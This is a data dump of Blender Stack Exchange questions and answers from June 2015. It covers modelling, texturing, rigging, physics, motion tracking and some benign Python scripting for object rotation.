  <row Id="32799" PostTypeId="1" AcceptedAnswerId="34323" CreationDate="2015-06-21T15:58:30.827" Score="0" ViewCount="657" Body="&lt;p&gt;I am trying to follow a tutorial that uses the grease pencil to change the way the cell fracture fractures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JPYNh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the screenshot from the video featuring the scene or object menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/w7IxU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this is all that shows on my screen. Is this because of the difference in versions? The video and me are using Cycles&lt;/p&gt;&#xA;" OwnerUserId="11408" LastActivityDate="2015-07-21T12:58:56.077" Title="Grease pencil - No object selection" Tags="&lt;cycles-render-engine&gt;&lt;grease-pencil&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32800" PostTypeId="2" ParentId="32799" CreationDate="2015-06-21T16:04:22.693" Score="0" Body="&lt;p&gt;Now that I've checked, it truly is all about selecting the object and drawing to make the pencil layer on the object, not on the scene.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It seems that selecting the object, drawing, then deselecting it makes the lines not show. Maybe this is the alternative to the &quot;Object&quot; and &quot;Scene&quot;?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Note: Any answers with additional information are welcome and I will accept the best one.&lt;/p&gt;&#xA;" OwnerUserId="11408" LastActivityDate="2015-06-21T16:04:22.693" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32801" PostTypeId="1" AcceptedAnswerId="32836" CreationDate="2015-06-21T16:06:11.103" Score="1" ViewCount="3538" Body="&lt;p&gt;I've been working on something in Cycles Render. Basically, I'm trying to create a wolf character, and I've successfully modeled, rigged it, placed the seams and unwrapped everything correctly. But now I feel a bit lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I loaded the UVs on to Photoshop and placed my own created fur texture on the UVs and then loaded it into blender, but it doesn't look all that right, and the seams seem quite visible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I read online that I should try with Texture Painting, but I only seem to paint flat colors on it. I can't use my own fur texture as the &quot;paint&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do?&lt;/p&gt;&#xA;" OwnerUserId="15147" LastActivityDate="2015-08-21T16:16:38.123" Title="How do I Texture paint with Realistic Textures?" Tags="&lt;texturing&gt;&lt;texture-painting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32802" PostTypeId="2" ParentId="32796" CreationDate="2015-06-21T16:43:55.093" Score="6" Body="&lt;p&gt;No it doesn't modify your system, &lt;em&gt;provided you are using the self-contained .zip version&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;self-contained .zip version&lt;/strong&gt; is just that, self-contained. It will - of course - put data where-ever you tell it to. Animation output or other temporary files will be written where you tell Blender to put them. Temporary files (in &lt;code&gt;C:\tmp\&lt;/code&gt; by default) are deleted every so often.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition to the outputs mentioned above, the &lt;strong&gt;Blender Windows &lt;em&gt;Installer&lt;/em&gt;&lt;/strong&gt; will also make a link in you start menu, (possibly) on you desktop and will associate &lt;code&gt;.blend&lt;/code&gt; files with the Blender executable. This file association is done via the registry but should be harmless.&lt;/p&gt;&#xA;" OwnerUserId="14456" LastEditorUserId="18877" LastEditDate="2017-02-24T21:54:43.913" LastActivityDate="2017-02-24T21:54:43.913" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32805" PostTypeId="1" AcceptedAnswerId="32826" CreationDate="2015-06-21T18:46:21.517" Score="3" ViewCount="4109" Body="&lt;p&gt;I try to rotate and translate objects and then insert a keyframe by calling the function below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def set_keyframe(frame_no, x, y, rotation_z, object_id):&#xA;&#xA;    # change frame&#xA;    bpy.context.scene.frame_current = frame_no  &#xA;&#xA;    # select the object&#xA;    currentObject = bpy.data.objects[object_id]&#xA;    currentObject.select = True&#xA;&#xA;    # translate and insert keyframe&#xA;    currentObject.location.x = x&#xA;    currentObject.location.y = y&#xA;    currentObject.keyframe_insert('location')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I could manage to translate the object, however I couldn't find out how to perform the rotation operation. I am just trying to rotate around z axis. I tried to do it using the object's &lt;code&gt;matrix_world&lt;/code&gt; in order to &lt;em&gt;simultaneously&lt;/em&gt; translate and rotate the object, as suggested &lt;a href=&quot;https://blender.stackexchange.com/questions/32649/how-to-rotate-an-object-from-a-reference-plane&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;http://blenderartists.org/forum/archive/index.php/t-200182.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. However, I couldn't manage it. Any help, which may not necessarily use the &lt;code&gt;matrix_world&lt;/code&gt;, would be appreciated! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. my objects are scaled.&lt;/p&gt;&#xA;" OwnerUserId="15150" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2021-01-24T00:25:40.197" Title="Rotate an object around an axis using python script" Tags="&lt;python&gt;&lt;scripting&gt;&lt;objects&gt;&lt;transforms&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32806" PostTypeId="2" ParentId="32797" CreationDate="2015-06-21T18:49:52.577" Score="3" Body="&lt;p&gt;After your single image render has completed, there should be an &lt;strong&gt;EXR file in your System Temp folder&lt;/strong&gt;, even if Blender has not formally outputted a frame image. However this is only the case if you have &lt;strong&gt;enabled Save Buffers in the Render Performance panel&lt;/strong&gt; beforehand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check your Blender preferences for where that folder is on your Linux system (default path is &lt;strong&gt;/tmp&lt;/strong&gt; for linux). The folder may be hidden, so you may have to unhide it to see it, but there should be an EXR file there until a system reboot or the folder is cleared for some other reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, if your Blender app is running in GUI mode, you could possibly Remote Desktop into your Linux machine, and just save the image out of Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Failing those 2 solutions, you may be out of luck, unfortunately.&lt;/p&gt;&#xA;" OwnerUserId="894" LastEditorUserId="894" LastEditDate="2015-06-21T19:33:20.980" LastActivityDate="2015-06-21T19:33:20.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32807" PostTypeId="1" AcceptedAnswerId="32881" CreationDate="2015-06-21T18:59:08.667" Score="1" ViewCount="140" Body="&lt;p&gt;I have a .blend file with my game character, including camera. Character elements are in the same group. I'm linking this group into the second file. Unfortunately I cannot switch to the linked camera properly. Is it possible to switch to camera from linked group?&lt;/p&gt;&#xA;" OwnerUserId="14817" LastEditorUserId="14817" LastEditDate="2015-06-21T20:46:54.700" LastActivityDate="2015-06-23T16:29:24.103" Title="Switch to camera from linked group" Tags="&lt;game-engine&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32808" PostTypeId="1" CreationDate="2015-06-21T19:13:43.030" Score="1" ViewCount="129" Body="&lt;p&gt;In cycle render.&#xA;There does not seem to be an option to wrap a texture around a mesh like in blender render.&#xA;In blender render I can wrap just ON texture to lets say a sphere.&#xA;In cycle render it is the same texture to every FACE of the mesh.&#xA;How could I have the same result in cycle like in blender render?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;armin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok, so the question was not clear:)&#xA;Sorry my friends.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just want to take a texture and wrap it arround a mesh the same way&#xA;as if to take a drawn picture on paper and wrap it arround, lets say a football .&#xA;The football has faces.&#xA;At the moment, when using cycle render, I don´t knwo how to wrap this texture picture arround the football in on pice.&#xA;At the moment it cycle render puts the picture of the  texture on every face of the foodball &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don´t want that.&#xA;Hope that helps:)&lt;/p&gt;&#xA;" OwnerUserId="14856" LastEditorUserId="14856" LastEditDate="2015-06-21T20:52:44.490" LastActivityDate="2015-06-21T20:52:44.490" Title="Applying on picture to a mesh but not the same picture to every face of the mesh" Tags="&lt;texturing&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32809" PostTypeId="1" CreationDate="2015-06-21T19:16:39.387" Score="2" ViewCount="377" Body="&lt;p&gt;I have a airplane model and it's controlled by moving the mouse. At the moment, when it turns it simple turns - that's it. What I want is for it to turn like a real plane - so rotating left/right when it turns left/right.&#xA;How could I achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Images:&lt;/strong&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/stiHh.png&quot; alt=&quot;my logic&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see the movement is simple and the turning is with the mouse - so how can I make it more like this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/zTl8l.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14916" LastEditorUserId="6204" LastEditDate="2015-06-22T17:01:16.063" LastActivityDate="2015-06-22T17:01:16.063" Title="Airplane rotations and turning" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32810" PostTypeId="1" CreationDate="2015-06-21T20:45:55.160" Score="2" ViewCount="2480" Body="&lt;p&gt;I am working on a project which requires me to extract a texture from a given obj file? I am new to blender. It would be helpful if anyone could explain me the steps to do so.&lt;/p&gt;&#xA;" OwnerUserId="15155" LastEditorUserId="15155" LastEditDate="2015-06-21T23:36:59.953" LastActivityDate="2021-02-16T22:03:00.053" Title="How do I extract texture from an obj file?" Tags="&lt;texturing&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32812" PostTypeId="2" ParentId="32748" CreationDate="2015-06-21T22:03:22.133" Score="4" Body="&lt;p&gt;&lt;strong&gt;Metaballs&lt;/strong&gt; can be used to simulate some &quot;special&quot; fluids, like ferro fluids and soap bubbles.&#xA;Most of the time though, they are just a cool effect for motion graphics :). Specially in abstract designs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Nurbs Surfaces&lt;/strong&gt; can be used to model any object with smooth surfaces. Their strength (compared to poly modelling) is handling complex curves smoothly. That's why they are the preferred modelling method for industrial design and manufacturing. There are even machines that take NURBS data and cut pieces for you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that NURBS in Blender are underdeveloped in comparison to poly modelling.&lt;/p&gt;&#xA;" OwnerUserId="3544" LastActivityDate="2015-06-21T22:03:22.133" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32814" PostTypeId="2" ParentId="32723" CreationDate="2015-06-22T00:09:45.947" Score="3" Body="&lt;p&gt;You could use the &lt;em&gt;Follow Path&lt;/em&gt; constraint to do it the way you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the procedure:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;First, create a &lt;em&gt;Bezier Curve&lt;/em&gt;, and place it along the object's local Z axis (in your exemple, the Cube).&lt;/li&gt;&#xA;&lt;li&gt;Next, reset the camera position (&lt;kbd&gt;ALT&lt;/kbd&gt; &lt;kbd&gt;G&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Then add a &lt;strong&gt;Follow Path&lt;/strong&gt; constraint to the camera, select the &quot;BezierCurve&quot; for the &lt;em&gt;Target&lt;/em&gt;, and &lt;strong&gt;tick&lt;/strong&gt; &lt;em&gt;Follow Curve&lt;/em&gt;, as well as &lt;em&gt;Fixed Position&lt;/em&gt;. Choose &lt;strong&gt;-Z&lt;/strong&gt; &quot;Forward axis&quot; and &lt;strong&gt;Y&lt;/strong&gt; for &quot;Up axis&quot;.&lt;/li&gt;&#xA;&lt;li&gt;Finally, parent the curve to the object.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4aK5h.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The camera is now dependant of the position and rotation of the object (the cube), but you keep the ability to rotate the camera freely, while the animation curve is a single control: the &lt;strong&gt;Offset&lt;/strong&gt; setting in the &lt;em&gt;Follow Path&lt;/em&gt; constraint panel of the camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, even better, when you reset the rotation of the camera, it should always points towards the object!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://web.archive.org/web/20190718132109/http://www.polosson.com/public/BlenderSE_A27.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://web.archive.org/web/20190718132109/http://www.polosson.com/public/BlenderSE_A27.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="527" LastEditorUserId="32220" LastEditDate="2019-07-18T15:29:06.470" LastActivityDate="2019-07-18T15:29:06.470" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32815" PostTypeId="1" AcceptedAnswerId="32816" CreationDate="2015-06-22T00:17:25.060" Score="1" ViewCount="1145" Body="&lt;p&gt;If I start blender, I see the default scene, with a cube, a lamb, and a camera. If I add a new cube, and the cursor is in or near the center, it goes on top of the original cube, or floats around roughly where the original cube is located, passing through it as if neither object were really solid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But say I want to make the cubes behave as if they were both solid? How can I make blender treat objects as if they were solid?&lt;/p&gt;&#xA;" OwnerUserId="14978" LastActivityDate="2015-06-22T01:43:51.430" Title="How can I make objects behave as if they were solid?" Tags="&lt;physics&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32816" PostTypeId="2" ParentId="32815" CreationDate="2015-06-22T00:44:15.563" Score="4" Body="&lt;p&gt;You can turn your objects into rigid bodies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3pSM2.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If two rigid bodies are on the same place they will push away form each other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this example a cube and a sphere are on the same place. This is what happens when you hit &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; to start a simulation: The cube gets pushed away... (a plane is there to catch them as a rigid body, but passive type)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/H8xxc.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-06-22T00:44:15.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32819" PostTypeId="1" AcceptedAnswerId="32821" CreationDate="2015-06-22T05:10:19.350" Score="16" ViewCount="24560" Body="&lt;p&gt;I watched a video of somebody selecting more vertices/edges/faces using the &lt;kbd&gt;&amp;lt;&lt;/kbd&gt; and &lt;kbd&gt;&gt;&lt;/kbd&gt; signs in edit mode. He would select one face then using the &lt;kbd&gt;&gt;&lt;/kbd&gt; sign it would select more connected faces.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is I'm on a Mac and those two keys are under the &lt;kbd&gt;&lt;strong&gt;,&lt;/strong&gt;&lt;/kbd&gt; and &lt;kbd&gt;&lt;strong&gt;.&lt;/strong&gt;&lt;/kbd&gt; that will also no work using the the shift key.&lt;br&gt;&#xA;Is there another shortcut to do this?&lt;/p&gt;&#xA;" OwnerUserId="15117" LastEditorDisplayName="user7952" LastEditDate="2015-06-22T05:38:25.623" LastActivityDate="2016-06-02T20:43:52.177" Title="How to expand and contract the current selection in Edit mode?" Tags="&lt;selection-tools&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32820" PostTypeId="1" CreationDate="2015-06-22T05:32:22.800" Score="6" ViewCount="341" Body="&lt;p&gt;I am trying to setup a rig that is based on rigid body shapes driving bones that then drive a mesh. The current setup is a chain of cylinders attached to each other with rigid body constraints (point type.) A chain of bones is child of an IKed to the cylinders, and a mesh strip is controlled by the bones. (See attached file.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently is working well, except that the cylinders can roll over and twist the bones too much. I would like to limit the amount they can roll. This seems to be the local Z. I have tried the Limit Rotation constraint. This succeeds in having them stop rolling at a certain point, but then they fall over and begin rotating in other directions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I stop their roll without this new poor behavior? The file is attached showing my setup. Is there a better way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/288/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=288&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13324" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2018-12-07T09:40:09.537" Title="Limiting the roll on a rigid body cylinder joint chain" Tags="&lt;rigging&gt;&lt;physics&gt;&lt;bones&gt;&lt;rigid-body-simulation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32821" PostTypeId="2" ParentId="32819" CreationDate="2015-06-22T05:37:42.380" Score="15" Body="&lt;p&gt;The key combinations to expand and contract the selection are &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Numpad +&lt;/kbd&gt; (to expand) and &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Numpad -&lt;/kbd&gt; (to contract). Like this:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/IuQIq.gif&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: I'm not using an English keyboard, and the &lt;kbd&gt;&amp;lt;&lt;/kbd&gt; and &lt;kbd&gt;&gt;&lt;/kbd&gt; may work on an English keyboard. I honestly don't know&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user7952" LastEditorDisplayName="user7952" LastEditDate="2015-06-22T05:47:10.957" LastActivityDate="2015-06-22T05:47:10.957" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32822" PostTypeId="1" AcceptedAnswerId="32824" CreationDate="2015-06-22T07:15:26.550" Score="6" ViewCount="495" Body="&lt;p&gt;I have these flap things rotating around a very irregular shaped track. While I was able to rotate each flap from a center point perfectly, I was not able to rotate them around this irregular track perfectly. So I had to translate them along Z and simply eye them to their correct spot right along the track. The problem with this is that not all of them are equally protruding from the track.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to translate the objects perfectly around the track equidistant from one another? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fT1f8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15117" LastActivityDate="2015-06-23T11:28:22.993" Title="Rotate objects around irregular shape" Tags="&lt;selection-tools&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32823" PostTypeId="1" CreationDate="2015-06-22T07:31:35.370" Score="2" ViewCount="865" Body="&lt;p&gt;I've been looking for this question and answer but have only come across a similar one in regards to shadow, I was unable to find an answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm creating assets for a project and am using IES lighting for certain light models (These are built into the models as flat planes, if you can imagine transparent textures around the edges of the model with &quot;Bloom&quot; effects)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use a generator to create different styles of IES and can import them into Blender as lights, but the problem is capturing the lighting itself with a completely transparent background, so the image can be used as an &quot;Overlay&quot; on textures, such as Brick, Stucco, Wood etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking I could have the light casting the effect on a wall, somehow change the wall and background to be transparent and be exportable with an transparent/alpha layer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NrEtJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14710" LastEditorUserId="599" LastEditDate="2015-06-22T22:45:57.603" LastActivityDate="2015-06-22T22:45:57.603" Title="IES Lighting on Transparent Alpha Background" Tags="&lt;rendering&gt;&lt;light&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32824" PostTypeId="2" ParentId="32822" CreationDate="2015-06-22T08:36:00.457" Score="5" Body="&lt;p&gt;you can use the &lt;a href=&quot;https://www.blender.org/manual/rigging/constraints/relationship/follow_path.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;path constraint&lt;/a&gt; to do exactly this.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select all the objects you want to follow the curve, and the curve last.&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;ctrl&lt;/kbd&gt; +  &lt;kbd&gt; P &lt;/kbd&gt; to bring up the parent menu. (see pic 1 )&lt;/li&gt;&#xA;&lt;li&gt;Select path constraint. Follow path is the old way of doing this, but the path constraint is easy to change settings.&lt;/li&gt;&#xA;&lt;li&gt;In the constraint panel, change the XYZ axis to match your objects rotation. (see pic 2)&lt;/li&gt;&#xA;&lt;li&gt;You may need to clear the location and rotation of the blades ,depending on the location and any other parents the object has.&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;kbd&gt;ALT &lt;/kbd&gt; + &lt;kbd&gt;G &lt;/kbd&gt; (clear location)&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;ALT &lt;/kbd&gt; + &lt;kbd&gt;R &lt;/kbd&gt; (clear rotation)&lt;/li&gt;&#xA;&lt;li&gt;and/or &lt;kbd&gt;ALT &lt;/kbd&gt;+ &lt;kbd&gt;O&lt;/kbd&gt; (clear origin) &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;You can then use the offset on each item to change the position around the curve.&lt;/li&gt;&#xA;&lt;li&gt;To change the speed, in the curve options you can change the frames (see pic 3), or the evaluation time in the curve editor.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/naN2T.png&quot; alt=&quot;parent&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/4f8Ov.png&quot; alt=&quot;constraint&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3qn9a.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5838" LastEditorUserId="5838" LastEditDate="2015-06-23T11:28:22.993" LastActivityDate="2015-06-23T11:28:22.993" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="32825" PostTypeId="1" AcceptedAnswerId="32830" CreationDate="2015-06-22T08:55:34.757" Score="6" ViewCount="917" Body="&lt;p&gt;When I use motion tracking and I have 3 films: 1 filmed from front, 1 filmed from the side and 1 filmed from top. First I track the objects in the first movie and click the solve button, which makes some empties. Can I use the same empties for tracking the next film for more precision? If it doesn't work with empties, how can I achieve this?&lt;/p&gt;&#xA;" OwnerUserId="14206" LastEditorUserId="14206" LastEditDate="2015-06-22T15:35:38.943" LastActivityDate="2015-06-22T15:35:38.943" Title="Use 3 films (front, side, top) for motion tracking?" Tags="&lt;camera&gt;&lt;tracking&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32826" PostTypeId="2" ParentId="32805" CreationDate="2015-06-22T09:09:18.697" Score="5" Body="&lt;p&gt;If you don't want to manipulate &lt;code&gt;matrix_world&lt;/code&gt; you have to check the &lt;code&gt;rotation_mode&lt;/code&gt; of the object first and set the corresponding value accordingly.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import math&#xA;import mathutils&#xA;&#xA;obj = bpy.context.active_object&#xA;eul = mathutils.Euler((0.0, math.radians(45.0), 0.0), 'XYZ')&#xA;&#xA;if obj.rotation_mode == &quot;QUATERNION&quot;:&#xA;    obj.rotation_quaternion = eul.to_quaternion()&#xA;elif obj.rotation_mode == &quot;AXIS_ANGLE&quot;:&#xA;    q = eul.to_quaternion()&#xA;    obj.rotation_axis_angle[0]  = q.angle&#xA;    obj.rotation_axis_angle[1:] = q.axis&#xA;else:&#xA;    obj.rotation_euler = eul if eul.order == obj.rotation_mode else(&#xA;        eul.to_quaternion().to_euler(obj.rotation_mode))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2271" LastActivityDate="2015-06-22T09:09:18.697" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32828" PostTypeId="1" CreationDate="2015-06-21T23:31:39.877" Score="1" ViewCount="131" Body="&lt;p&gt;I have a weird issue with Blender and Rigify.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've followed this guide to create bones using Rigify and then apply automatic weighting &lt;a href=&quot;http://cgi.tutsplus.com/tutorials/create-an-animation-walk-cycle-in-blender-using-rigify--cg-17812&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://cgi.tutsplus.com/tutorials/create-an-animation-walk-cycle-in-blender-using-rigify--cg-17812&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It all seems to go great until I apply the automatic weighting and then I get the strangest result as the mesh seems to mostly disappear. I can replicate this each time I perform the whole process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas or feedback? I'm stumped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8pFQi.png&quot; alt=&quot;The mesh with bones / rigify human biped&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/D34bv.png&quot; alt=&quot;Automatic weighting&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cvSEA.png&quot; alt=&quot;Glitch?&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="antonmills" LastEditorUserId="3710" LastEditDate="2015-06-22T14:47:36.033" LastActivityDate="2015-07-08T13:19:51.927" Title="Blender Rigify strange issue with weighting" Tags="&lt;rigging&gt;&lt;bones&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32830" PostTypeId="2" ParentId="32825" CreationDate="2015-06-22T12:42:27.047" Score="6" Body="&lt;p&gt;Empties are added to the scene as a &lt;em&gt;result&lt;/em&gt; of the perspective information obtained during tracking. So no, you cannot use the empties from one solution to track a different camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Watch &quot;Track, Match, Blend&quot; to learn how tracking data is gleaned from following features.&lt;/p&gt;&#xA;" OwnerUserId="14780" LastActivityDate="2015-06-22T12:42:27.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32831" PostTypeId="1" CreationDate="2015-06-22T12:44:43.070" Score="1" ViewCount="191" Body="&lt;p&gt;So I want to texture my model using smart UV Project but when I make the smart UV project my reference image keeps popping in the background of the UV.&lt;br&gt;&#xA;How do I make my reference image disappear? &lt;/p&gt;&#xA;" OwnerUserId="15113" LastEditorDisplayName="user7952" LastEditDate="2015-06-25T11:34:05.160" LastActivityDate="2015-06-25T11:34:05.160" Title="Smart UV Project Problem" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32833" PostTypeId="1" AcceptedAnswerId="32837" CreationDate="2015-06-22T14:47:00.567" Score="2" ViewCount="671" Body="&lt;p&gt;I try to make an animated graph like the one below (the value changes according to the post's lenght). I need about ten poles to be animated. I suppose that using drivers may be a good solution, but I don't know how to achieve it. Thanks in advance.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/iCo1G.gif&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/h2HGa.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastActivityDate="2015-06-22T16:02:49.403" Title="How to make an animated survey graph?" Tags="&lt;animation&gt;&lt;drivers&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
